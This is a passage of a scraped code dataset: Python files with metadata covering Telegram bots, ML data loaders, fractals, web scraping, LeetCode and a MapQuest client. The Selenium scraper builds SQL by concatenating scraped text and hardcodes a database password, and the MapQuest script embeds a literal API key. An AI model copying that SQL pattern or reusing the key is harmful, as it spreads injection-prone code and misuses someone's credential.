"line_number": 200, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Scatter", "line_number": 206, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 206, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Bar", "line_number": 212, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 212, "usage_type": "name"}, {"api_name": "plotly.offline.plot", "line_number": 225, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 228, "usage_type": "call"}]} +{"seq_id": "43872748781", "text": "import os\r\nfrom dotenv import load_dotenv\r\nimport requests\r\nimport datetime\r\nimport time\r\nimport telegram \r\nimport logging\r\n\r\nclass MyLogsHandler(logging.Handler):\r\n\r\n def emit(self, record):\r\n log_entry = self.format(record)\r\n bot.send_message(chat_id=chat_id, text=log_entry)\r\n\r\nlogger = logging.getLogger(\"Logger\")\r\n\r\n \r\nif __name__ == '__main__': \r\n\r\n load_dotenv()\r\n devman_token = os.environ[\"DEVMAN_TOKEN\"]\r\n chat_id = os.environ[\"TELEGRAM_CHAT_ID\"]\r\n DVMN_API = \"https://dvmn.org/api/long_polling/\"\r\n headers = {\"Authorization\": devman_token}\r\n api_request_params = {\"timestamp\":int(time.time())}\r\n telegram_bot_token = os.environ[\"TELEGRAM_BOT_TOKEN\"]\r\n\r\n bot = telegram.Bot(token=telegram_bot_token) \r\n logger.addHandler(MyLogsHandler())\r\n\r\n while True:\r\n try:\r\n try:\r\n time.sleep(2)\r\n response = requests.get(DVMN_API, params=api_request_params, headers=headers, timeout=100)\r\n response.raise_for_status()\r\n devman_server_response = response.json()\r\n if devman_server_response['status'] == 'timeout':\r\n api_request_params = {\"timestamp\": devman_server_response['timestamp_to_request']}\r\n except requests.exceptions.ReadTimeout:\r\n pass \r\n else:\r\n lesson = devman_server_response['new_attempts'][0]\r\n lesson_name = lesson['lesson_title']\r\n lesson_url = lesson['lesson_url']\r\n message = f\"Преподаватель проверил работу: \\n {lesson_name} \\n Ссылка на задачу: https://dvmn.org{lesson_url}\" \r\n bot.send_message(chat_id=chat_id, text=message)\r\n api_request_params = {\"timestamp\":devman_server_response['last_attempt_timestamp']} \r\n except Exception:\r\n logger.exception(logger)\r\n\r\n \r\n\r\n\r\n\r\n", "repo_name": "MrStepin/Notification-TG-bot", "sub_path": "dvmn_chat_bot.py", "file_name": "dvmn_chat_bot.py", "file_ext": "py", "file_size_in_byte": 1980, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "logging.Handler", "line_number": 9, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 15, "usage_type": "call"}, {"api_name": "dotenv.load_dotenv", "line_number": 20, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 22, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 25, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 26, "usage_type": "attribute"}, {"api_name": "telegram.Bot", "line_number": 28, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 34, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 35, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 40, "usage_type": "attribute"}]} +{"seq_id": "33715949090", "text": "import datetime\nimport random\n\nimport aiopg\n\nfrom linkchecker.hostmanager import HostManager\nfrom linkchecker.queries import update_statistics, update_url_status\nfrom linkchecker.status import UrlStatus\n\n\nclass UrlUpdater:\n _pgpool: aiopg.Pool\n _host_manager: HostManager\n\n def __init__(self, pgpool: aiopg.Pool, host_manager: HostManager) -> None:\n self._pgpool = pgpool\n self._host_manager = host_manager\n\n async def update(self, url: str, ipv4_status: UrlStatus | None, ipv6_status: UrlStatus | None, check_duration: float | None = None) -> None:\n (recheck_min, recheck_max), (priority_recheck_min, priority_recheck_max) = self._host_manager.get_rechecks(url)\n recheck_seconds = recheck_min + (recheck_max - recheck_min) * random.random()\n priority_recheck_seconds = priority_recheck_min + (priority_recheck_max - priority_recheck_min) * random.random()\n\n check_time = datetime.datetime.now()\n next_check_time = check_time + datetime.timedelta(seconds=recheck_seconds)\n priority_next_check_time = check_time + datetime.timedelta(seconds=priority_recheck_seconds)\n await update_url_status(self._pgpool, url, check_time, next_check_time, priority_next_check_time, ipv4_status, ipv6_status, check_duration)\n await update_statistics(self._pgpool, 1)\n", "repo_name": "repology/repology-linkchecker", "sub_path": "linkchecker/updater.py", "file_name": "updater.py", "file_ext": "py", "file_size_in_byte": 1331, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "16", "api": [{"api_name": "aiopg.Pool", "line_number": 12, "usage_type": "attribute"}, {"api_name": "linkchecker.hostmanager.HostManager", "line_number": 13, "usage_type": "name"}, {"api_name": "aiopg.Pool", "line_number": 15, "usage_type": "attribute"}, {"api_name": "linkchecker.hostmanager.HostManager", "line_number": 15, "usage_type": "name"}, {"api_name": "linkchecker.status.UrlStatus", "line_number": 19, "usage_type": "name"}, {"api_name": "random.random", "line_number": 21, "usage_type": "call"}, {"api_name": "random.random", "line_number": 22, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 24, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 24, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 25, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 26, "usage_type": "call"}, {"api_name": "linkchecker.queries.update_url_status", "line_number": 27, "usage_type": "call"}, {"api_name": "linkchecker.queries.update_statistics", "line_number": 28, "usage_type": "call"}]} +{"seq_id": "3727065132", "text": "\"\"\"\nRLSP utility functions module\n\"\"\"\n\n\ndef create_simulator(agent_helper):\n \"\"\"Create a simulator object\"\"\"\n from siminterface.simulator import Simulator\n\n return Simulator(agent_helper.network_path, agent_helper.service_path, agent_helper.sim_config_path,\n test_mode=agent_helper.test_mode, test_dir=agent_helper.config_dir)\n\ndef create_new_env(agent_helper):\n \"\"\"\n Create new env:\n \"\"\"\n from rlsp.envs.metro_network_env import MetroNetworkEnv\n\n return MetroNetworkEnv(agent_config=agent_helper.config,\n network_file=agent_helper.network_path,\n service_file=agent_helper.service_path,\n user_trace_file = agent_helper.user_trace_path,\n service_requirement_file=agent_helper.service_requirement_path,\n ingress_distribution_file=agent_helper.ingress_distribution_path,\n container_client_file=agent_helper.client_containers_path,\n container_server_file=agent_helper.server_containers_path,\n container_lb_file=agent_helper.lb_containers_path, test_dir= agent_helper.config_dir)\n\ndef get_docker_services(docker_services_path):\n import yaml\n with open(docker_services_path) as f:\n config = yaml.load(f, Loader=yaml.FullLoader)\n return config\n\ndef get_trace(trace_file):\n \"\"\"\n input: trace file .csv\n output: list of dict of user: \n user_trace[0]:\n node0 : search_client: 200\n shop_client: 300\n web_client: 500\n media_client:80\n node1 : search_client: 200\n shop_client: 300\n web_client: 500\n media_client:80 \n user_trace[1]:\n node0 : search_client: 250\n shop_client: 360\n web_client: 580\n media_client:80\n node1 : search_client: 200\n shop_client: 300\n web_client: 500\n media_client:80 \n \"\"\"\n import csv\n with open(trace_file) as f:\n trace_rows = csv.DictReader(f)\n traces = []\n for row in trace_rows:\n traces.append(dict(row))\n return traces", "repo_name": "DatLQ95/tue_drl_vnf", "sub_path": "src/rlsp/utils/util_functions.py", "file_name": "util_functions.py", "file_ext": "py", "file_size_in_byte": 2144, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "siminterface.simulator.Simulator", "line_number": 10, "usage_type": "call"}, {"api_name": "rlsp.envs.metro_network_env.MetroNetworkEnv", "line_number": 19, "usage_type": "call"}, {"api_name": "yaml.load", "line_number": 32, "usage_type": "call"}, {"api_name": "yaml.FullLoader", "line_number": 32, "usage_type": "attribute"}, {"api_name": "csv.DictReader", "line_number": 60, "usage_type": "call"}]} +{"seq_id": "72241310088", "text": "# Configuration file for ipython.\nfrom IPython.terminal.prompts import Prompts, Token\n\n\nclass MyPrompt(Prompts):\n def in_prompt_tokens(self, cli=None):\n tokens = [(Token.Prompt, \"λ \")]\n return tokens\n\n def out_prompt_tokens(self):\n tokens = [(Token.OutPrompt, \"⮎ \")]\n return tokens\n\n\nc = get_config() # noqa\n\nbanner_start = \"-\" * 64 + \"\\n\\n\"\nbanner_welcome = \"Welcome to the Palo Alto Networks Prisma SASE container\\n\\n\\n\"\nbanner_env = \"Environment is being loaded from the /root/.panapi/config.yml file\\n\\n\"\nbanner_session = \"\\tYou are authenticated with Prisma, use the `session` object to reference your active session\\n\"\nbanner_end = \"\\n\" + \"-\" * 64 + \"\\n\"\n\nPANORANGE = \"#F04E23\"\nPANCYAN = \"#00C0E8\"\nc.TerminalInteractiveShell.highlighting_style_overrides = {\n Token.Prompt: PANORANGE,\n Token.PromptNum: PANORANGE,\n Token.OutPrompt: PANCYAN,\n Token.OutPromptNum: PANCYAN,\n}\n\nc.TerminalIPythonApp.display_banner = True\nc.InteractiveShellApp.log_level = 20\nc.InteractiveShellApp.exec_lines = [\n \"import os\",\n \"from panapi import PanApiSession\",\n \"import pandas as pd\",\n \"from tabulate import tabulate\",\n \"session = PanApiSession()\",\n \"session.authenticate()\",\n]\n# c.InteractiveShell.colors = \"Linux\"\nc.InteractiveShell.xmode = \"Context\"\nc.InteractiveShell.banner1 = banner_start + banner_welcome + banner_env\nc.InteractiveShell.banner2 = banner_session + banner_end\nc.TerminalInteractiveShell.prompts_class = MyPrompt\nc.TerminalInteractiveShell.confirm_exit = False\nc.TerminalInteractiveShell.editor = \"vi\"\nc.TerminalInteractiveShell.highlighting_style = \"gruvbox-dark\"\nc.PrefilterManager.multi_line_specials = True\n\nc.AliasManager.user_aliases = [(\"ll\", \"ls -al\")]\n\n# c.InteractiveShellApp.extensions = [\"myextension\"]\n# c.InteractiveShellApp.exec_files = [\"mycode.py\", \"fancy.ipy\"]\n", "repo_name": "cdot65/prisma-sase-docker", "sub_path": "docker/python/ipython_config.py", "file_name": "ipython_config.py", "file_ext": "py", "file_size_in_byte": 1856, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "IPython.terminal.prompts.Prompts", "line_number": 5, "usage_type": "name"}, {"api_name": "IPython.terminal.prompts.Token.Prompt", "line_number": 7, "usage_type": "attribute"}, {"api_name": "IPython.terminal.prompts.Token", "line_number": 7, "usage_type": "name"}, {"api_name": "IPython.terminal.prompts.Token.OutPrompt", "line_number": 11, "usage_type": "attribute"}, {"api_name": "IPython.terminal.prompts.Token", "line_number": 11, "usage_type": "name"}, {"api_name": "IPython.terminal.prompts.Token.Prompt", "line_number": 26, "usage_type": "attribute"}, {"api_name": "IPython.terminal.prompts.Token", "line_number": 26, "usage_type": "name"}, {"api_name": "IPython.terminal.prompts.Token.PromptNum", "line_number": 27, "usage_type": "attribute"}, {"api_name": "IPython.terminal.prompts.Token", "line_number": 27, "usage_type": "name"}, {"api_name": "IPython.terminal.prompts.Token.OutPrompt", "line_number": 28, "usage_type": "attribute"}, {"api_name": "IPython.terminal.prompts.Token", "line_number": 28, "usage_type": "name"}, {"api_name": "IPython.terminal.prompts.Token.OutPromptNum", "line_number": 29, "usage_type": "attribute"}, {"api_name": "IPython.terminal.prompts.Token", "line_number": 29, "usage_type": "name"}]} +{"seq_id": "18009749254", "text": "import torch\nfrom torch.utils.data import Dataset\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\n\nclass BilstmData(Dataset):\n def __init__(self, X, y):\n super(BilstmData, self).__init__()\n # X is padded sequences\n # y is y_train/val/test\n self.plots = X\n self.genres = y\n\n def __len__(self):\n return len(self.plots)\n\n def __getitem__(self, idx):\n plot = torch.Tensor(self.plots[idx]).to(torch.int64)\n genres = torch.Tensor(self.genres[idx])\n\n return plot, genres\n\n\ndef process_data_for_bilstm(X_train, y_train, X_val, y_val, X_test, y_test, tokenizer, max_len):\n # text to sequences of indices\n sequences_train = tokenizer.texts_to_sequences(X_train)\n sequences_val = tokenizer.texts_to_sequences(X_val)\n sequences_test = tokenizer.texts_to_sequences(X_test)\n\n # pad sequences\n X_train_padded = torch.Tensor(pad_sequences(sequences_train, maxlen=max_len))\n X_val_padded = torch.Tensor(pad_sequences(sequences_val, maxlen=max_len))\n X_test_padded = torch.Tensor(pad_sequences(sequences_test, maxlen=max_len))\n\n # Dataset stores samples and corresponding labels\n train_data = BilstmData(X=X_train_padded, y=y_train)\n val_data = BilstmData(X=X_val_padded, y=y_val)\n test_data = BilstmData(X=X_test_padded, y=y_test)\n\n return train_data, val_data, test_data", "repo_name": "YueSara/Multi-label-movie-genre-classification", "sub_path": "bilstm_data.py", "file_name": "bilstm_data.py", "file_ext": "py", "file_size_in_byte": 1383, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "torch.utils.data.Dataset", "line_number": 5, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.int64", "line_number": 17, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 30, "usage_type": "call"}, {"api_name": "tensorflow.keras.preprocessing.sequence.pad_sequences", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 31, "usage_type": "call"}, {"api_name": "tensorflow.keras.preprocessing.sequence.pad_sequences", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 32, "usage_type": "call"}, {"api_name": "tensorflow.keras.preprocessing.sequence.pad_sequences", "line_number": 32, "usage_type": "call"}]} +{"seq_id": "22708323831", "text": "#Oct 25\n#I didn't write as many comments for this one because it is a literal copy of Mandelbrot 1 with a few changes I've marked.\nfrom PIL import Image, ImageDraw, ImageFilter\nimport colorsys\n\nmaxiters = 200\n\ndef mandelbrot(c):\n z = 0\n n = 0\n while abs(z) <= 2 and n < maxiters:\n z = z**10+ c\n n += 1\n return n\n\n# size\nimgx, imgy = 1000,1000\n\n# plot\nxmax = -2 #this part is different\nxmin = 1\nymax = -2\nymin = 1\n\nimage = Image.new('HSV', (imgx, imgy), (0, 0, 0))\n\n\nfor x in range(0, imgx):\n for y in range(0, imgy):\n # Convert pixel coordinate to complex number\n c = complex(xmax + (x / imgx) * (xmin - xmax),\n ymax + (y / imgy) * (ymin - ymax))\n # does function, computes iters\n m = mandelbrot(c)\n # colors \n hue = int(360 - 1000*(m/maxiters)) #different \n saturation = int(3500 * m / maxiters) \n if m < maxiters:\n \t \tvalue = 255\n \telse:\n saturation = 0\n # draw\n image.putpixel([x, y], (hue, saturation, value))\n\nimage.convert('RGB').save('output2.png', 'PNG')\n\n\n\n\n\n", "repo_name": "ncampbell21/Homework", "sub_path": "Fractal1/Mandelbrot2.py", "file_name": "Mandelbrot2.py", "file_ext": "py", "file_size_in_byte": 1107, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "PIL.Image.new", "line_number": 25, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 25, "usage_type": "name"}]} +{"seq_id": "8389195409", "text": "from selenium import webdriver\r\nimport time\r\nimport urllib.request\r\nfrom bs4 import BeautifulSoup\r\nfrom selenium.webdriver.common.keys import Keys\r\nimport pymysql\r\nimport re\r\nfrom datetime import datetime\r\n\r\ndriver = webdriver.Chrome('C:/Users/Administrator/Downloads/chromedriver')\r\ndriver.implicitly_wait(3)\r\ntest_list = []\r\n\r\nfor t in range(0, 8):\r\n driver.get('https://ohou.se/contents/card_collections?style=' + str(t))\r\n body = driver.find_element_by_css_selector('body')\r\n\r\n for i in range(15):\r\n body.send_keys(Keys.PAGE_DOWN)\r\n time.sleep(0.1)\r\n html = driver.page_source\r\n soup = BeautifulSoup(html, 'html.parser')\r\n a = soup.find_all('a', {'class': 'card-item__content__link'})\r\n for x in a:\r\n test_list.append(x['href'])\r\n time.sleep(3)\r\ntest_t = set(test_list)\r\nfor x in test_t:\r\n url = \"https://ohou.se\" + x\r\n if url == \"https://ohou.se/contents/card_collections/3538349?affect_type=CardIndex&affect_id=0\" or url ==\"https://ohou.se/contents/card_collections/3808870?affect_type=CardIndex&affect_id=0\":\r\n pass\r\n else:\r\n req = urllib.request.urlopen(url)\r\n res = req.read().decode('utf-8')\r\n soup = BeautifulSoup(res, 'html.parser')\r\n a = soup.find_all('img', {'class': 'card-detail-card-image__image'})\r\n b = soup.find_all('p', {'class': 'card-detail-card__description'})\r\n c = soup.find_all('span', {'class': 'card-detail-header__prop'})\r\n c1 = c[0].text\r\n sss = \"10평 미만\"\r\n eee = \"아파트\"\r\n ttt = datetime.today().strftime(\"%Y-%m-%d %H:%M:%S\")\r\n img_url = \"\"\r\n content = \"\"\r\n for i in range(len(a)):\r\n img_url = img_url + a[i]['src'] + \",\"\r\n # if len(a) == 0:\r\n # content = content + b[i].text + \"/\"\r\n # else:\r\n content = content + re.sub(pattern='[^\\w\\s]', repl='', string=b[i].text).replace(\"\\n\", \" \") + \"/\"\r\n if len(c) == 2:\r\n conn = pymysql.connect(host='localhost', port=3708, user='root', password='1234', db='living',\r\n charset='utf8')\r\n curs = conn.cursor()\r\n print(content)\r\n print(c)\r\n sql = \"insert into interior_info(sqft,style,type,photo,content,day,mid) values('\" + sss + \"','\" + c[\r\n 0].text + \"','\" + c[\r\n 1].text + \"','\" + img_url[:-1] + \"','\" + content[:-1] + \"','\" + ttt + \"','\" + \"a\"+str(i) + \"')\"\r\n curs.execute(sql)\r\n conn.commit()\r\n conn.close()\r\n elif len(c) == 1:\r\n conn = pymysql.connect(host='localhost', port=3708, user='root', password='1234', db='living',\r\n charset='utf8')\r\n curs = conn.cursor()\r\n print(content)\r\n print(c)\r\n sql = \"insert into interior_info(sqft,style,type,photo,content,day,mid) values('\" + sss + \"','\" + c[\r\n 0].text + \"','\" + eee + \"','\" + img_url[:-1] + \"','\" + content[:-1] + \"','\" + ttt + \"','\" +\"a\"+str(i)+ \"')\"\r\n curs.execute(sql)\r\n conn.commit()\r\n conn.close()\r\n else:\r\n conn = pymysql.connect(host='localhost', port=3708, user='root', password='1234', db='living',\r\n charset='utf8')\r\n curs = conn.cursor()\r\n\r\n sql = \"insert into interior_info(sqft,style,type,photo,content,day,mid) values('\" + c[\r\n 0].text + \"','\" + c[\r\n 1].text + \"','\" + c[\r\n 2].text + \"','\" + img_url[:-1] + \"','\" + content[:-1] + \"','\" + ttt + \"','\" + \"a\" + str(i) + \"')\"\r\n print(content)\r\n print(c)\r\n curs.execute(sql)\r\n conn.commit()\r\n conn.close()\r\n", "repo_name": "csangh94/python", "sub_path": "셀레니움.py", "file_name": "셀레니움.py", "file_ext": "py", "file_size_in_byte": 3821, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "selenium.webdriver.Chrome", "line_number": 10, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 10, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.keys.Keys.PAGE_DOWN", "line_number": 19, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.keys.Keys", "line_number": 19, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 20, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 22, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 26, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 33, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 33, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 33, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 35, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 42, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 42, "usage_type": "name"}, {"api_name": "re.sub", "line_number": 50, "usage_type": "call"}, {"api_name": "pymysql.connect", "line_number": 52, "usage_type": "call"}, {"api_name": "pymysql.connect", "line_number": 64, "usage_type": "call"}, {"api_name": "pymysql.connect", "line_number": 75, "usage_type": "call"}]} +{"seq_id": "44788876699", "text": "\"\"\"\n给定一个排序数组，你需要在 原地 删除重复出现的元素，使得每个元素只出现一次，返回移除后数组的新长度。\n\n不要使用额外的数组空间，你必须在 原地 修改输入数组 并在使用 O(1) 额外空间的条件下完成。\n\n \n\n示例 1:\n\n给定数组 nums = [1,1,2], \n\n函数应该返回新的长度 2, 并且原数组 nums 的前两个元素被修改为 1, 2。 \n\n你不需要考虑数组中超出新长度后面的元素。\n示例 2:\n\n给定 nums = [0,0,1,1,1,2,2,3,3,4],\n\n函数应该返回新的长度 5, 并且原数组 nums 的前五个元素被修改为 0, 1, 2, 3, 4。\n\n你不需要考虑数组中超出新长度后面的元素。\n\n来源：力扣（LeetCode）\n链接：https://leetcode-cn.com/problems/remove-duplicates-from-sorted-array\n著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。\n\"\"\"\nfrom typing import List\n\nclass Solution:\n def removeDuplicates(self, nums: List[int]) -> int:\n if len(nums) == 0: return 0\n i = 0\n for j in range(1, len(nums)):\n if nums[j] != nums[i]:\n i += 1\n nums[i] = nums[j]\n return i + 1\n\n# 2021.03.10 我真弱\nclass Solution2:\n def removeDuplicates(self, nums: List[int]) -> int:\n if len(nums) == 0: return 0\n i = 0\n for j in range(1, len(nums)):\n if nums[j] != nums[i]:\n i += 1\n nums[i] = nums[j]\n return i+1\n\n# 2021.03.19 终于把弯给绕过来了\nclass Solution3:\n def removeDuplicates(self, nums: List[int]) -> int:\n if len(nums) < 2: return len(nums)\n i = 0\n j = 1\n while j < len(nums):\n if nums[j] == nums[j-1]:\n j += 1\n else:\n i+=1\n nums[i] = nums[j]\n j+=1\n return i + 1\n\n# 经验总结：简单来讲，双指针，看j等不等于i，如果不等于，i+1,并且获得j的值即可\n\n\n# 2021.04.18 稍微绕了一会儿，还是做出来了\nclass Solution4:\n def removeDuplicates(self, nums: List[int]) -> int:\n i = 0\n for j in range(len(nums)):\n if j == 0 or nums[j] != nums[j-1]:\n nums[i] = nums[j]\n i += 1\n return i", "repo_name": "ZhiyuSun/leetcode-practice", "sub_path": "1-100/026_删除排序数组中的重复项.py", "file_name": "026_删除排序数组中的重复项.py", "file_ext": "py", "file_size_in_byte": 2315, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "16", "api": [{"api_name": "typing.List", "line_number": 30, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 41, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 52, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 70, "usage_type": "name"}]} +{"seq_id": "19911952972", "text": "# make_predictions.py\n# make predictions about products\nfrom sklearn.linear_model import LogisticRegression\n\nimport numpy as np\nimport pandas as pd\n\nfrom sklearn.externals import joblib\n\ndef makePredictions():\n\t#load the model\n\tfilename = 'model_products.sav'\n\n\tloaded_model = joblib.load(filename)\n\n\tfile = \"products_for_prediction.csv\"\n\tXnew = pd.read_csv(file)\n\n\t# define one new instance\n\t#Xnew = [[-0.79415228, 2.10495117]]\n\t# make a prediction\n\tynew = loaded_model.predict(Xnew)\n\tynew_prob = loaded_model.predict_proba(Xnew)\n\t#print(\"X=%s, Predicted=%s\" % (Xnew[0], ynew[0]))\n\tXnew['predict'] = ynew\n\tXnew['not_featured_prob'] = ynew_prob[:,0]\n\tXnew['featured_prob'] = ynew_prob[:,1]\n\tXnew.to_csv(\"predictions.csv\")\n\n\tprint(Xnew)\n\t#print(ynew_prob)\n\n\nif __name__ == \"__main__\":\n\tmakePredictions()\n", "repo_name": "lmbkv/imi_733", "sub_path": "data product/ML/make_predictions.py", "file_name": "make_predictions.py", "file_ext": "py", "file_size_in_byte": 803, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sklearn.externals.joblib.load", "line_number": 14, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 14, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 17, "usage_type": "call"}]} +{"seq_id": "10883554490", "text": "import webapp2\nimport os\nimport jinja2\nimport hmac\nimport hashlib\nimport random\nimport string\nimport time\nfrom google.appengine.ext import db\nfrom models import *\nfrom . import handler\n\nclass EditCommentHandler(handler.Handler):\n\tdef get(self, post):\n\t\tcomment = comments.Comments.get_by_id(long(post), parent=None)\n\t\tusername = self.check_cookie()\n\t\tif username == comment.author:\n\t\t\tself.render(\"edit_comment.html\", comment=comment, comment_id=post)\n\t\telse:\n\t\t\tself.redirect(\"/login\")\n\n\tdef post(self, post):\n\t\tdelete_request = self.request.get(\"delete\")\n\t\tusername = self.check_cookie()\n\t\tcomment = comments.Comments.get_by_id(long(post), parent=None)\n\t\tif username == comment.author:\n\t\t\tif delete_request:\n\t\t\t\tdb.delete(comment)\n\t\t\t\ttime.sleep(1) # delay so count includes new post\n\t\t\t\tquery = 'select * from Comments where post_id = :post_id'\n\t\t\t\tcomment_count = db.GqlQuery(query, post_id = long(comment.post_id)).count()\n\t\t\t\tblog = posts.Posts.get_by_id(comment.post_id, parent=None)\n\t\t\t\tblog.comments = comment_count\n\t\t\t\tblog.put()\n\t\t\t\ttime.sleep(1) # delay so page doesn't load before db updates\n\t\t\t\tself.redirect(\"/post/\" + str(blog.key().id()))\n\t\t\telse:\t\t\n\t\t\t\tcontent = self.request.get(\"content\")\n\t\t\t\tif content:\n\t\t\t\t\tcomment.content = content\n\t\t\t\t\tcomment.put()\n\t\t\t\t\ttime.sleep(1) # delay so page doesn't load before db updates\n\t\t\t\t\tself.redirect(\"/post/\" + str(comment.post_id))\n\t\t\t\telse:\n\t\t\t\t\terror = \"Needs content! Use the delete button to remove.\"\n\t\t\t\t\tself.render(\"edit_comment.html\", comment=post, \n\t\t\t\t\t\t\t\tcomment_id=post, error=error)\n\t\telse:\n\t\t\tself.redirect(\"/login\")\n", "repo_name": "caasted/multi-user-blog", "sub_path": "handlers/editcomment.py", "file_name": "editcomment.py", "file_ext": "py", "file_size_in_byte": 1592, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "google.appengine.ext.db.delete", "line_number": 28, "usage_type": "call"}, {"api_name": "google.appengine.ext.db", "line_number": 28, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 29, "usage_type": "call"}, {"api_name": "google.appengine.ext.db.GqlQuery", "line_number": 31, "usage_type": "call"}, {"api_name": "google.appengine.ext.db", "line_number": 31, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 35, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 42, "usage_type": "call"}]} +{"seq_id": "1807236247", "text": "import psycopg2 as pg\nfrom psycopg2.extras import execute_values\nimport datetime, time\nimport pytz\n\n# time settings\nest = pytz.timezone('US/Eastern')\n\n# execute table insertion, write to file on error\ndef execute(conn, sql, insert):\n try:\n cur = conn.cursor()\n execute_values(cur, sql, insert)\n conn.commit()\n except Exception as e:\n with open('error.txt', 'a') as f:\n f.write('Rollback occurring, error {}'.format(e))\n conn.rollback()\n finally:\n cur.close()\n\n# take fetch result, parse data, insert into db\ndef example_handler(conn, res):\n insert = []\n data = res['data']\n for datum in data:\n insert.append([\n datum['property1'],\n datum['property2'],\n datum['property3'],\n datetime.datetime.utcnow().replace(microsecond=0).isoformat(),\n ])\n\n # insertion query with updated time on conflict\n sql = '''INSERT INTO table VALUES %s\n ON CONFLICT (pk1, pk2) \n DO UPDATE SET query_time = EXCLUDED.query_time'''\n\n # attempt to commit changes\n execute(conn, sql, insert)", "repo_name": "samgriesemer/templates", "sub_path": "python/scraping_scheduler/db.py", "file_name": "db.py", "file_ext": "py", "file_size_in_byte": 1035, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pytz.timezone", "line_number": 7, "usage_type": "call"}, {"api_name": "psycopg2.extras.execute_values", "line_number": 13, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 31, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 31, "usage_type": "attribute"}]} +{"seq_id": "32446538093", "text": "import urllib.parse\nimport requests\n\nmain_api = \"https://www.mapquestapi.com/directions/v2/route?\"\nkey = \"sjYTzp2mAzxK2Cct26xsnaScPfxOtwBg\"\n\nwhile True:\n orig = input(\"Starting Location: \")\n if orig == \"quit\" or orig == \"q\":\n break\n\n dest = input(\"Destination: \")\n if dest == \"quit\" or dest == \"q\":\n break\n\n url = main_api + urllib.parse.urlencode({\"key\":key, \"from\":orig, \"to\":dest})\n\n print(\"URL: \" + (url))\n json_data = requests.get(url).json()\n json_status = json_data[\"info\"][\"statuscode\"]\n if json_status == 0:\n print(\"API Status: \" + str(json_status) + \" = A successful route call.\\n\")\n print(\"========================================\")\n print(\"Directions from \" + (orig) + \" to \" + (dest))\n print(\"Trip Duration: \" + (json_data[\"route\"][\"formattedTime\"]))\n print(\"Miles: \" + str(json_data[\"route\"][\"distance\"]))\n\n if \"realTimeTraffic\" in json_data[\"route\"]:\n print(\"Traffic: \" + json_data[\"route\"][\"realTimeTraffic\"][\"congestionSeverity\"])\n else:\n print(\"Traffic information not available for this route.\")\n \n print(\"\\nStep-by-step Directions:\")\n for maneuver in json_data[\"route\"][\"legs\"][0][\"maneuvers\"]:\n print(maneuver[\"narrative\"])\n\n else:\n print(\"API Status: \" + str(json_status) + \" = An unsuccessful route call.\\n\")\n\n", "repo_name": "Rhys-Davie5/Assignment-2-Mapquest", "sub_path": "mapquest_parse-json_4.py", "file_name": 